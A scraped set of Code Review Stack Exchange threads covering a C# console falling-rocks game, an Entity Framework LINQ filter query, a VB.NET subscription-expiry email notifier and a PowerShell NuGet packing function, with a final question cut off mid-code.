"body": "<p>A few things that should help. </p>\n\n<p>Instead of using a keyword <code>Object</code> for your custom object using a more descriptive name like <code>GameObject</code> makes it more obvious what the object's purpose is.</p>\n\n<p>Since there is a difference between the rocks and the dwarf but they have properties in common, making the main object a class and having 2 derived classes(<code>Dwarf</code>, <code>Rock</code>) makes the division between them more obvious.</p>\n\n<p>Using <code>col</code>, <code>row</code> instead of <code>x</code> <code>y</code> fits better with your <code>PrintOnPosition</code> method.</p>\n\n<p>Since <code>PrintOnPosition</code> and <code>PrintStringOnPosition</code> are basically the same methods with slightly different parameters having <code>PrintOnPosition</code> overloaded to take char or string makes sense here. to make it more obvvious I changed their name to <code>chartoprint</code> and <code>stringtoprint</code>.</p>\n\n<p>Since the main difference between the rocks and the dwarf is the shape. A rock is a single character and a dwarf is a 3 character string. By removing that property from <code>GameObject</code> and putting it in the derived classes you only need one object to represent the dwarf and since <code>PrintOnPosition</code> is overloaded the syntax stays the same.</p>\n\n<p>Using all those booleans to represent a hit seems kind of awkward. An enum,<code>HitPosition</code> with qualified names(None,HitLeft,HitCenter,HitRight) simplifies the way your hits work. Instead of checking for <code>true</code> just check if it equals None, then use an algorithm to determine which position was hit.</p>\n\n<p>An enum would also work well for the different rock shapes(Heart,Money,Rock). This makes the code easier to understand instead of magic characters.</p>\n\n<p>I went through your code and made some changes. There are probably other areas that could be improved, but this should give you a good start. I think I covered all of my changes, but just in case here is the modified code. I didn't get a chance yet to look at the bug:</p>\n\n<pre><code>using System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Threading;\n\nnamespace FallingRocks\n{\n // a structure to make life easier\n class GameObject\n {\n public int col;\n public int row;\n public ConsoleColor color;\n }\n class Dwarf : GameObject\n {\n public readonly string shape = \"(0)\";\n }\n class Rock : GameObject\n {\n public char shape;\n }\n enum HitPosition\n {\n None = 0,\n HitLeft = 1,\n HitCenter = 2,\n HitRight = 3\n }\n enum RockShape\n {\n Rock = '@',\n Heart = 3,\n Money = '$'\n }\n\n class Program\n {\n static readonly string[] hitshapes = new string[] { \"\", \"X0)\", \"(X)\", \"(0X\" };\n // in order to print characters on certain positions\n static void PrintOnPosition(int col, int row, char chartoprint,\n ConsoleColor color = ConsoleColor.Gray)\n {\n Console.SetCursorPosition(col, row);\n Console.ForegroundColor = color;\n Console.Write(chartoprint);\n }\n\n // in order to print strings on certain positions\n static void PrintOnPosition(int col, int row, string stringtoprint,\n ConsoleColor color = ConsoleColor.Gray)\n {\n Console.SetCursorPosition(col, row);\n Console.ForegroundColor = color;\n Console.Write(stringtoprint);\n }\n static void Main()\n {\n // Some properties and variables to be used\n Console.CursorVisible = false;\n Console.BufferHeight = Console.WindowHeight = 18;\n Console.WindowWidth = 20;\n Console.BufferWidth = 20;\n\n Random randomGenerator = new Random();\n double sleeptime = 200;\n double score = 0;\n int lives = 5;\n\n // constructing the dwarf elements \"(O)\"\n Dwarf newDwarf = new Dwarf();\n newDwarf.col = 9;\n newDwarf.row = Console.WindowHeight - 1;\n newDwarf.color = ConsoleColor.Gray;\n\n List<Rock> Rocks = new List<Rock>();\n\n // Writing the instructions at the start of the game\n PrintOnPosition(0, 5, \" The aim of the game is to avoid all the rocks. Good luck!\", ConsoleColor.Yellow);\n PrintOnPosition(0, 9, \"Pick\", ConsoleColor.Yellow);\n PrintOnPosition(5, 9, (char)3, ConsoleColor.Red);\n PrintOnPosition(7, 9, \"for lives\", ConsoleColor.Yellow);\n PrintOnPosition(0, 10, \"Pick\", ConsoleColor.Yellow);\n PrintOnPosition(5, 10, '$', ConsoleColor.Green);\n PrintOnPosition(7, 10, \"for money\", ConsoleColor.Yellow);\n PrintOnPosition(5, 13, \"Good luck!\", ConsoleColor.Red);\n PrintOnPosition(17, 0, ' ', ConsoleColor.Black);\n Console.ReadLine();\n Console.Clear();\n\n // making the lines of play\n for(int i = 0; i <= Console.WindowWidth - 1; i++)\n {\n PrintOnPosition(i, 4, '_', ConsoleColor.White);\n }\n\n while(true)\n {\n // The bool values in case we get hit. They are different for the parts of the dwarf elements\n HitPosition newHitPosition = HitPosition.None;\n\n // the chance is for making bonuses from time to time\n int chance = randomGenerator.Next(0, 100);\n\n {\n Rock newRock = new Rock();\n newRock.col = randomGenerator.Next(0, 19);\n newRock.row = 5;\n\n\n if(chance < 1)\n {\n // It's a heart character\n newRock.shape = (char)RockShape.Heart;\n newRock.color = ConsoleColor.Red;\n }\n else if(chance < 10)\n {\n newRock.shape = (char)RockShape.Money;\n newRock.color = ConsoleColor.Green;\n }\n else if(chance < 100)\n {\n newRock.shape = (char)RockShape.Rock;\n newRock.color = ConsoleColor.Cyan;\n }\n Rocks.Add(newRock);\n }\n\n //moving the dwarf\n if(Console.KeyAvailable)\n {\n ConsoleKeyInfo userInput = Console.ReadKey();\n // In order to avoid the moving bug (If numerous keys are pressed, the program will execute each one)\n while(Console.KeyAvailable)\n {\n Console.ReadKey(true);\n }\n if(userInput.Key == ConsoleKey.LeftArrow && newDwarf.col > 0)\n {\n PrintOnPosition(newDwarf.col--, newDwarf.row, \" \", newDwarf.color);\n }\n if(userInput.Key == ConsoleKey.RightArrow && newDwarf.col < Console.WindowWidth - 2)\n {\n PrintOnPosition(newDwarf.col++, newDwarf.row, \" \", newDwarf.color);\n }\n }\n PrintOnPosition(newDwarf.col, newDwarf.row, newDwarf.shape, newDwarf.color);\n\n // The new list is made in order to add the next position of the rock which is y + 1. Thus making it fall\n List<Rock> newList = new List<Rock>();\n for(int i = 0; i < Rocks.Count; i++)\n {\n Rock oldRock = Rocks[i];\n Rock newRock = new Rock();\n newRock.col = oldRock.col;\n newRock.row = oldRock.row + 1;\n newRock.shape = oldRock.shape;\n newRock.color = oldRock.color;\n\n // check if we get hit\n if((newRock.col == newDwarf.col || newRock.col == newDwarf.col + 1 || newRock.col == newDwarf.col + 2) && newRock.row == newDwarf.row)\n {\n switch(newRock.shape)\n {\n case '@':\n newHitPosition = (HitPosition)Enum.Parse(typeof(HitPosition), ((newRock.col - newDwarf.col) + 1).ToString());\n break;\n case '$':\n score += 500;\n break;\n case (char)3:\n lives += 1;\n break;\n }\n }\n // Add the new object in the newList until it reaches the end of the screen\n if(newRock.row < Console.WindowHeight)\n {\n newList.Add(newRock);\n }\n }\n\n // consequences for being hit\n if(newHitPosition != HitPosition.None)\n {\n PrintOnPosition(newDwarf.col, newDwarf.row, hitshapes[(int)newHitPosition], ConsoleColor.Red);\n // checks if you have 1 live left. Else the game will continue until you reach -1 lives\n if(lives < 2)\n {\n PrintOnPosition(0, 0, \"GAME OVER!\", ConsoleColor.Red);\n // We print the X in order to see the place of casualty \n PrintOnPosition(17, 0, ' ', ConsoleColor.Black);\n Console.ReadLine();\n PrintOnPosition(0, 0, @\" \", ConsoleColor.Red);\n return;\n }\n\n // If we still have lives, the game continues\n PrintOnPosition(0, 0, \"Press enter\", ConsoleColor.Red);\n // this is made in order to avoid a bug in which when you press some letter, it prints it on the console\n // on the last position the cursor was\n PrintOnPosition(17, 0, ' ', ConsoleColor.Black);\n Console.ReadLine();\n // Clear the positions of the old objects\n PrintOnPosition(0, 0, @\" \", ConsoleColor.Red);\n foreach(Rock rock in Rocks)\n {\n PrintOnPosition(rock.col, rock.row, ' ', ConsoleColor.Black);\n }\n Rocks.Clear();\n newList.Clear();\n // Consequences\n lives--;\n sleeptime += 20;\n }\n\n // This basically makes the rocks move. The idea is - Clear the old rocks and make the new ones\n foreach(Rock rock in Rocks)\n {\n PrintOnPosition(rock.col, rock.row, ' ', ConsoleColor.Black);\n }\n // The object Rocks takes the value of the new list which contains the positions of the new rocks\n Rocks = newList;\n\n foreach(Rock rock in Rocks)\n {\n PrintOnPosition(rock.col, rock.row, rock.shape, rock.color);\n }\n\n // The score and lives\n PrintOnPosition(7, 2, \"Score: \" + (int)score, ConsoleColor.Cyan);\n PrintOnPosition(7, 3, \"Lives: \" + lives, ConsoleColor.Yellow);\n\n // Making the score increase and the speed of the game increase constantly\n score += 14.66;\n sleeptime -= 0.5;\n if(sleeptime < 100)\n {\n sleeptime = 100;\n }\n\n if(sleeptime > 200)\n {\n sleeptime = 200;\n }\n\n // Set the speed of the program\n Thread.Sleep((int)sleeptime);\n }\n }\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T00:20:16.427",
"Id": "47302",
"ParentId": "47243",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "47302",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:50:14.703",
"Id": "47243",
"Score": "3",
"Tags": [
"c#",
"game",
"console"
],
"Title": "Falling Rocks Game"
} | 47243 |
<p>I think I've done a decent job keeping this query simple and understandable, but I'd like to know if you have some more advice.</p>
<p>My relevant entities are defined like this:</p>
<pre><code>public class Task
{
[ForeignKey("Employee")]
public string EmployeeId { get; set; }
public Employee Employee { get; set; }
[Required]
[ForeignKey("Status")]
public int StatusId { get; set; }
public TaskStatus Status { get; set; }
[...]
}
public class Employee
{
[Key]
[DatabaseGenerated(DatabaseGeneratedOption.None)]
[Required]
[MaxLength(10)]
[Index(IsUnique=true)]
public string EmployeeId { get; set; }
[Required]
[StringLength(100)]
public string FirstName { get; set; }
[Required]
[StringLength(100)]
[DisplayName("Last name")]
public string LastName { get; set; }
[...]
}
public class TaskStatus
{
[Key]
public int Id { get; set; }
[Required]
[MaxLength(50)]
public string Name { get; set; }
[...]
}
</code></pre>
<p>I've stripped off what I believe are irrelevant parts of the entities.</p>
<p>The query itself is following:</p>
<pre><code>// Retrieves all tasks from the database. We filter the tasks on 3 different criteria. Since all 3 criteria
// must be fulfilled for the task to be displayed, we use logical and to concatenate them.
//
// The first criteria is the search term. If the search term is empty, we don't filter out any tasks, so
// that is the first check we make. Also, we test if the FistName, LastName or the EmployeeId contain the
// search term.
//
// Next criteria is the status filter. We keep the tasks that have the right status, or all tasks if the
// given status is null.
//
// The last criteria is employee filter, and the logic is the same as for the status filter.
var tasks = db.Tasks
.Include(t => t.Employee)
.Include(t => t.Status)
.Where(t =>
(
search == null
|| t.Employee.FirstName.Contains(search)
|| t.Employee.LastName.Contains(search)
|| t.Employee.EmployeeId.Contains(search)
)
&& ((statusFilter == null) || (t.StatusId == statusFilter.Value))
&& ((employeeFilter == null) || (t.EmployeeId == employeeFilter))
);
</code></pre>
<p>The query does what it is supposed to do, it filters the task list properly on all 3 parameters. I'm just worried that it is a little too unreadable (too tricky), especially since my colleagues are mostly young and inexperienced. </p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T15:04:30.637",
"Id": "82778",
"Score": "0",
"body": "You could probably make the `&&`s into more `Where`s. Otherwise, I doubt you can change it much."
}
] | [
{
"body": "<ol>\n<li>Remove the additional <code>()</code>s in the <code>statusFilter</code> and <code>employeeFilter</code> lines as they are unnecessary.</li>\n<li>Indent the <code>statusFilter</code> and <code>employeeFilter</code> lines so that they are symmetrical with the <code>search</code> lines.</li>\n<li>Change <code>search</code> to be <code>searchTerm</code> as it is more specific. <code>search</code> by itself could mean anything like a stored query, a boolean value, etc.</li>\n<li>As per Magus' comment you can change <code>t</code> to <code>task</code> since it is more clear and will not add space that starts pushing statements across extra lines.</li>\n</ol>\n\n\n\n<pre><code>var tasks = db.Tasks\n .Include(task => task.Employee)\n .Include(task => task.Status)\n .Where(task =>\n (\n searchTerm == null || \n task.Employee.FirstName.Contains(searchTerm) ||\n task.Employee.LastName.Contains(searchTerm) ||\n task.Employee.EmployeeId.Contains(searchTerm)\n ) &&\n (\n statusFilter == null || \n task.StatusId = statusFilter.Value\n ) &&\n (\n employeeFilter == null || \n task.EmployeeId == employeeFilter\n )\n);\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T15:17:17.237",
"Id": "82782",
"Score": "1",
"body": "Agreed, though I'd also rename `t` to `task` or something."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T15:13:39.013",
"Id": "47253",
"ParentId": "47250",
"Score": "2"
}
},
{
"body": "<p>I would actually build the linq query in stages. It will make the code more readable. Because execution is deferred until the list is actually iterated, performance is no different than chaining everything together in one long, obscure command.</p>\n\n<pre><code>var tasks = db.Tasks\n .Include(task => task.Employee)\n .Include(task => task.Status);\n\nif ( searchTerm != null ) {\n tasks = tasks.Where(task =>\n (\n task.Employee.FirstName.Contains(searchTerm) ||\n task.Employee.LastName.Contains(searchTerm) ||\n task.Employee.EmployeeId.Contains(searchTerm)\n );\n}\n\nif ( statusFilter != null )\n{ \n tasks = tasks.Where( task => task.StatusId = statusFilter.Value );\n}\n\nif ( employeeFilter != null )\n{\n tasks = tasks.Where( task => task.EmployeeId == employeeFilter);\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T11:54:18.783",
"Id": "82930",
"Score": "0",
"body": "Separating the `null` checks out into `if` statements is a much clearer way of expressing that you only need to apply each filter if it has a value."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T01:20:14.210",
"Id": "47306",
"ParentId": "47250",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "47253",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T14:40:06.203",
"Id": "47250",
"Score": "3",
"Tags": [
"c#",
"linq",
"entity-framework"
],
"Title": "Retrieve Tasks by Employee"
} | 47250 |
<p>Here is some VB code that is part of a major system of apps that I have been asked to maintain, one of the more fun things that I get to do is rewrite some code here and there, I have done a little bit of that here, I finally have it functioning properly and would like to see if I am still on an upward stride in my VB learning.</p>
<pre><code>Module Module1
Private Function SQL_Connection_String() As String
Dim Connection As String
#If DEBUG Then
Connection = {TestConnectionString}
#ElseIf CONFIG = "Release" Then
Connection = {ProductionConnectionString}
#End If
Return Connection
End Function
Private Function test_Email() As String
Return {TestersEmail}
End Function
Private sLetterText As String
Sub Main()
Dim sSource As String
Dim sLog As String
Dim sEvent As String
Dim sMachine As String
sSource = "OLMJSubscriberNotification"
sLog = "Application"
sEvent = "Error"
sMachine = "."
If Not EventLog.SourceExists(sSource) Then
EventLog.CreateEventSource(sSource, sLog)
End If
Dim ErrorLog As New EventLog(sLog, sMachine, sSource)
Dim SentLog As New EventLog(sLog, sMachine, sSource)
ReadSQL(SentLog, ErrorLog)
End Sub
Public Sub ReadSQL(ByRef ErrorLog As EventLog, ByRef SentLog As EventLog)
Dim sText As New String("")
Dim sRecip As New String("")
Dim mailSent As Integer
Dim dr As SqlDataReader
Dim sRecipList As New String("")
Dim cnn As New SqlConnection(SQL_Connection_String())
Const SQLstr = "SELECT UserName, SubscriptionEnd, Email,UserID, AgencyName FROM Users " & _
"WHERE(DateDiff(Day, GETDATE(), SubscriptionEnd) <= 10) " & _
"And DateDiff(Day, GETDATE(), SubscriptionEnd) >= 0 " & _
"AND (DATEDIFF(day,GETDATE(), NotificationSent) < -10 OR NotificationSent IS NULL)"
Dim objCommand As New SqlCommand(SQLstr, cnn)
Try
ReadLetterText(ErrorLog)
cnn.Open()
dr = objCommand.ExecuteReader
While dr.Read
sRecip = dr(2).ToString
sRecipList = sRecipList & sRecip & " - " & dr(4).ToString & vbCrLf
SendMail(sLetterText, sRecip, ErrorLog, True)
UpdateNoticeSent(dr(3), ErrorLog)
mailSent += 1
End While
If mailSent > 0 Then
sRecipList = "The following " & mailSent.ToString & " subscribers received expiration mail " & Now.ToString & ":" & vbCrLf & vbCrLf & sRecipList
#If DEBUG Then
SendMail(sRecipList, test_Email, ErrorLog, False)
#Else
SendMail(sRecipList, {ErrorContactEmails} , ErrorLog, False)
#End If
End If
SentLog.WriteEntry("Notices Sent: " & mailSent.ToString & " " & Now.ToString)
Catch err As System.Exception
ErrorLog.WriteEntry(System.Reflection.MethodBase.GetCurrentMethod().Name().ToString & " " & err.ToString)
#If DEBUG Then
SendErrorMail(System.Reflection.MethodBase.GetCurrentMethod().Name().ToString & " " & err.ToString, test_Email, ErrorLog)
#Else
SendErrorMail(System.Reflection.MethodBase.GetCurrentMethod().Name().ToString & " " & err.ToString, "helpdesk@Address.com", ErrorLog)
#End If
Finally
objCommand.Dispose()
cnn.Dispose()
End Try
End Sub
Private Sub SendErrorMail(ByVal sText As String, ByVal sRecip As String, ByRef ErrorLog As EventLog)
Try
Dim Mailmsg As New Mail.MailMessage
Dim obj As New Mail.SmtpClient("{SMTP.Client.Fake}")
obj.Port = 25
#If DEBUG Then
Mailmsg.To.Add(test_Email)
#Else
Mailmsg.To.Add(New MailAddress("Developer@Address.com"))
Mailmsg.CC.Add("ProjectManager@Address.com")
Mailmsg.To.Add(sRecip)
#End If
Mailmsg.Subject = "OLMJ Subscriber Notification Error"
Mailmsg.From = New MailAddress("webdev@Address.com", "UJS Online Money Judgment")
Mailmsg.Priority = MailPriority.High
Mailmsg.Body = sText
Mailmsg.IsBodyHtml = False
obj.Send(Mailmsg)
Catch err As System.Exception
ErrorLog.WriteEntry(System.Reflection.MethodBase.GetCurrentMethod().Name().ToString & " " & err.ToString)
End Try
End Sub
Private Sub SendMail(ByVal sText As String, ByVal sRecip As String, ByRef ErrorLog As EventLog, ByVal sendForm As Boolean)
Try
Dim Mailmsg As New Mail.MailMessage
Dim obj As New Mail.SmtpClient("SMTP.Client.fake")
obj.Port = 25
Mailmsg.To.Add(sRecip)
Mailmsg.From = New MailAddress("webdev@Address.com", "UJS Online Money Judgment")
Mailmsg.Subject = "Expiration Notice"
Mailmsg.Body = sText
Mailmsg.Priority = MailPriority.Normal
Mailmsg.IsBodyHtml = True
If sendForm Then
Dim subAgreeForm As New Attachment("Subscriber_Agreement_And_Request_Form.pdf")
Mailmsg.Attachments.Add(subAgreeForm)
End If
obj.Send(Mailmsg)
Catch err As System.Exception
ErrorLog.WriteEntry(System.Reflection.MethodBase.GetCurrentMethod().Name().ToString & " " & err.ToString)
#If DEBUG Then
SendErrorMail(System.Reflection.MethodBase.GetCurrentMethod().Name().ToString & " " & err.ToString, test_Email, ErrorLog)
#Else
SendErrorMail(System.Reflection.MethodBase.GetCurrentMethod().Name().ToString & " " & err.ToString, "helpdesk@Address.com", ErrorLog)
#End If
End Try
End Sub
Private Sub UpdateNoticeSent(ByVal userID As Integer, ByRef ErrorLog As EventLog)
Dim rowsAffected As Integer
Const SQLstr = _
"UPDATE Users SET NotificationSent = @NotiSent where UserID = @UserID"
Using UpdateConn As New SqlConnection(SQL_Connection_String)
Using objCommand As New SqlCommand(SQLstr, UpdateConn)
Try
objCommand.CommandType = CommandType.Text
objCommand.Parameters.Add("@UserID", SqlDbType.Int)
objCommand.Parameters("@UserID").Value = userID
objCommand.Parameters.Add("@NotiSent", SqlDbType.DateTime)
objCommand.Parameters("@NotiSent").Value = Now
UpdateConn.Open()
rowsAffected = objCommand.ExecuteNonQuery()
Catch err As System.Exception
ErrorLog.WriteEntry(System.Reflection.MethodBase.GetCurrentMethod().Name().ToString & " " & err.ToString)
#If DEBUG Then
SendErrorMail(System.Reflection.MethodBase.GetCurrentMethod().Name().ToString & " " & err.ToString, test_Email, ErrorLog)
#Else
SendErrorMail(System.Reflection.MethodBase.GetCurrentMethod().Name().ToString & " " & err.ToString, "helpdesk@Address.com", ErrorLog)
#End If
Finally
objCommand.Dispose()
UpdateConn.Close()
End Try
End Using
End Using
End Sub
Private Sub ReadLetterText(ByRef ErrorLog As EventLog)
Dim sFilePath As String
Dim sTempLine As String
Dim sLetterBody As New String("")
Try
sFilePath = System.AppDomain.CurrentDomain.BaseDirectory()
sFilePath = sFilePath & "SubExp.txt"
Dim myStreamReader As New IO.StreamReader(sFilePath)
Do Until myStreamReader.Peek() = -1
sTempLine = myStreamReader.ReadLine()
sLetterBody = sLetterBody & vbCrLf & sTempLine
Loop
sLetterText = sLetterBody
Catch err As System.Exception
ErrorLog.WriteEntry(System.Reflection.MethodBase.GetCurrentMethod().Name().ToString & " " & err.ToString)
SendErrorMail(System.Reflection.MethodBase.GetCurrentMethod().Name().ToString & " " & err.ToString, "helpdesk@Address.com", ErrorLog)
End Try
End Sub
End Module
</code></pre>
<p>let me know what you think.</p>
| [] | [
{
"body": "<p>when I posted this I thought that I caught everything that I could think of, but looking at it again I noticed that I could use at least 2 more <code>Using</code> statements here:</p>\n\n<pre><code> Dim objCommand As New SqlCommand(SQLstr, cnn)\n\n Try\n ReadLetterText(ErrorLog)\n cnn.Open()\n dr = objCommand.ExecuteReader\n While dr.Read\n sRecip = dr(2).ToString\n sRecipList = sRecipList & sRecip & \" - \" & dr(4).ToString & vbCrLf\n SendMail(sLetterText, sRecip, ErrorLog, True)\n UpdateNoticeSent(dr(3), ErrorLog)\n mailSent += 1\n End While\n If mailSent > 0 Then\n</code></pre>\n\n<p>now I have </p>\n\n<pre><code> Using objCommand As New SqlCommand(SQLstr, cnn)\n Try\n ReadLetterText(ErrorLog)\n cnn.Open()\n dr = objCommand.ExecuteReader\n Using dr\n While dr.Read\n sRecip = dr(2).ToString\n sRecipList = sRecipList & sRecip & \" - \" & dr(4).ToString & vbCrLf\n SendMail(sLetterText, sRecip, ErrorLog, True)\n UpdateNoticeSent(dr(3), ErrorLog)\n mailSent += 1\n End While\n End Using\n If mailSent > 0 Then\n</code></pre>\n\n<p>The DataReader couldn't be initialized inside the using statement like the connection could be, something about it being a <code>Friend</code> and I couldn't make it angry enough to denounce this \"Friend Status\" so I left the declaration and assignment but put it into a using statement.</p>\n\n<p>I could probably get rid of the <code>Finally</code> as well because all of the disposable objects are inside of <code>Using</code> statements now and should be disposed of in the case of an error no matter what, but I am paranoid so I leave them in there, and as far as I know it doesn't hurt, much.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T17:34:39.170",
"Id": "82796",
"Score": "0",
"body": "+1 but I'm not sure I get the part about not being able to go `Using dr = objCommand.ExecuteReader` - Somehow I'm sure I could make this work in C# (no clue about correct VB syntax though)..."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T17:36:56.883",
"Id": "82797",
"Score": "0",
"body": "In VB I don't always understand the terms they use there. it should have been `Using dr As New SqlDataReader(objCommand.ExecuteReader)` or something like that. but it didn't like it"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T17:17:55.430",
"Id": "47263",
"ParentId": "47257",
"Score": "5"
}
},
{
"body": "<p>This query uses <code>DATEDIFF()</code> inefficiently:</p>\n\n<blockquote>\n<pre><code>Const SQLstr = \"SELECT UserName, SubscriptionEnd, Email,UserID, AgencyName FROM Users \" & _\n \"WHERE(DateDiff(Day, GETDATE(), SubscriptionEnd) <= 10) \" & _\n \"And DateDiff(Day, GETDATE(), SubscriptionEnd) >= 0 \" & _\n \"AND (DATEDIFF(day,GETDATE(), NotificationSent) < -10 OR NotificationSent IS NULL)\"\n</code></pre>\n</blockquote>\n\n<p>To accomplish that, the server would have to run <code>DATEDIFF()</code> on every single row in the <code>Users</code> table. Instead, you should calculate the cutoff dates just once:</p>\n\n<pre><code>SELECT UserName, SubscriptionEnd, Email,UserID, AgencyName\n FROM Users\n WHERE\n SubscriptionEnd <= CAST(DATEADD(Day, 10, GETDATE()) AS DATE)\n AND SubscriptionEnd >= CAST(GETDATE() AS DATE)\n AND (NotificationSent IS NULL\n OR NotificationSent < CAST(DATEADD(Day, -10, GETDATE()) AS DATE));\n</code></pre>\n\n<p>(The casts truncate the results of <code>DATEADD()</code> to midnight.)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T17:39:31.760",
"Id": "82798",
"Score": "0",
"body": "I like that. thank you it makes sense. maybe I should tag this as SQL as well??"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T17:36:44.353",
"Id": "47265",
"ParentId": "47257",
"Score": "6"
}
},
{
"body": "<p>I think a lot of this code could be greatly simplified if you were using a logging framework, such as <a href=\"http://nlog-project.org/\" rel=\"nofollow\">NLog</a>.</p>\n\n<p>The logging configuration would be in a XML configuration file, which you can change during of after deployment, without changing the code.</p>\n\n<p>You can configure one or more <em>targets</em> - a text file in the file system, a database table, the Windows Event Log, an email notification, ..or all of 'em.</p>\n\n<p>Then you can configure <em>rules</em> and <em>loggers</em> so as to have log messages for a specific <em>logger</em>, of a given level (say, <code>ERROR</code> and up), emailed to support with a stack trace, for example.</p>\n\n<p>This would remove most of the logging clutter and precompiler instructions - then all you need to do is deploy the <code>nlog.config</code> file along with your project, and overwrite it with a \"production\" copy when deployed in production (that could also be automated).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:27:11.810",
"Id": "82807",
"Score": "0",
"body": "that sounds wonderful, what is the learning curve? lol but seriously."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:28:02.333",
"Id": "82808",
"Score": "1",
"body": "It's pretty easy actually - check it out! (I've only used it with C# though)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:35:52.817",
"Id": "82810",
"Score": "0",
"body": "I will check it out, I think that is just what I need for another one of my projects here at work, I will put it on the list of things for that project"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:16:37.613",
"Id": "47268",
"ParentId": "47257",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "47265",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T15:58:30.170",
"Id": "47257",
"Score": "6",
"Tags": [
"vb.net",
"email"
],
"Title": "Notify user of upcoming expiration of subscription"
} | 47257 |
<p>My PowerShell scripting skills are pretty poor, but I've managed to hobble together got this script:</p>
<pre><code>function Create-Process() {
param([string] $fileName, [string] $arguments)
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.FileName = $fileName
$pinfo.Arguments = $arguments
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
return $p
}
function Pack {
param(
[string] $nuspec,
[string] $OutputDirectory,
[string] $BasePath,
[ValidateSet("normal", "quiet", "detailed", IgnoreCase = $true)]
[string] $Verbosity,
[switch] $Symbols
)
# format parameters for NuGet.exe
If ($BasePath) {
$basePathParam = "-BasePath ""$BasePath"""
}
If ($OutputDirectory) {
$outputDirParam = "-OutputDirectory ""$BasePath"""
}
If ($Verbosity) {
$verbosityParam = "-Verbosity $Verbosity"
}
If ($Symbols) {
$symbolsParam = "-Symbols"
}
Write-Log "Creating package..." -ForegroundColor Green
$packageTask = Create-Process .\NuGet.exe ("pack $nuspec $basePathParam $outputDirParam $verbosityParam $symbolsParam")
$packageTask.Start() | Out-Null
$packageTask.WaitForExit()
$output = ($packageTask.StandardOutput.ReadToEnd() -Split '[\r\n]') |? {$_}
$error = (($packageTask.StandardError.ReadToEnd() -Split '[\r\n]') |? {$_})
Write-Log $output
Write-Log $error Error
$global:ExitCode = $packageTask.ExitCode
}
</code></pre>
<p>So that I can call it elsewhere like this:</p>
<pre><code>Pack .\Package.nuspec -BasePath $TargetDir -OutputDirectory $TargetDir -Verbosity Detailed
</code></pre>
<p>How can I clean up the process for formatting the arguments string? It seems pretty ugly at the moment, and if I have to add any more parameters, it's just going to get uglier. Is there an easy way to convert a list of parameters to a string that's suitable for invoking another function? </p>
<p><sup>Note: Simply passing in the parameters as a single string (e.g. <code>Pack .\Package.nuspec "-Verbosity Detailed"</code>) doesn't really solve my issue, it just moves it back one step. I'd like to create the string within <code>Pack</code> itself.</sup></p>
| [] | [
{
"body": "<p>Here's what I've been able to come up with so far. It could probably be improved further.</p>\n\n<pre><code>function Pack {\n param(\n [Parameter(Mandatory=$true)]\n [string] $nuspec,\n\n [string] $OutputDirectory,\n\n [string] $BasePath,\n\n [ValidateSet(\"normal\", \"quiet\", \"detailed\", IgnoreCase = $true)]\n [string] $Verbosity,\n\n [switch] $Symbols \n )\n\n # these parameters are passed as name - value pairs\n $named = @('OutputDirectory', 'BasePath', 'Verbosity') \n\n # these parameters are passed as switches\n $keyed = @('Symbols')\n\n $p = $PSBoundParameters\n Write-Log \"Creating package...\" -ForegroundColor Green\n $output = Invoke-Command {\n .\\NuGet.exe \"pack\" $nuspec ($p.Keys | foreach { \n If ($named -contains $_) { \"-$_\", $p[$_] } \n ElseIf ($keyed -contains $_) { \"-$_\" } \n })\n } -ErrorVariable error\n\n Write-Log $output\n Write-Log $error Error\n Write-Log \" \"\n\n $global:ExitCode = $LastExitCode\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T22:56:46.617",
"Id": "47299",
"ParentId": "47261",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "47299",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T16:59:33.920",
"Id": "47261",
"Score": "6",
"Tags": [
"strings",
"powershell"
],
"Title": "Convert list of parameters to a string that can be invoked"
} | 47261 |
<p>I have a CRM system that has Notes, Payments, DairyEvents and anything else that needs to be bolt on over time.</p>
<p>I created an <code>ITimeline</code> interface that has a datetime and message method and implemented them on those models.</p>
<p>This is the simplest form of code I have started with:</p>
<pre><code>public static List<Interfaces.ITimeline> GetAll(long personID)
{
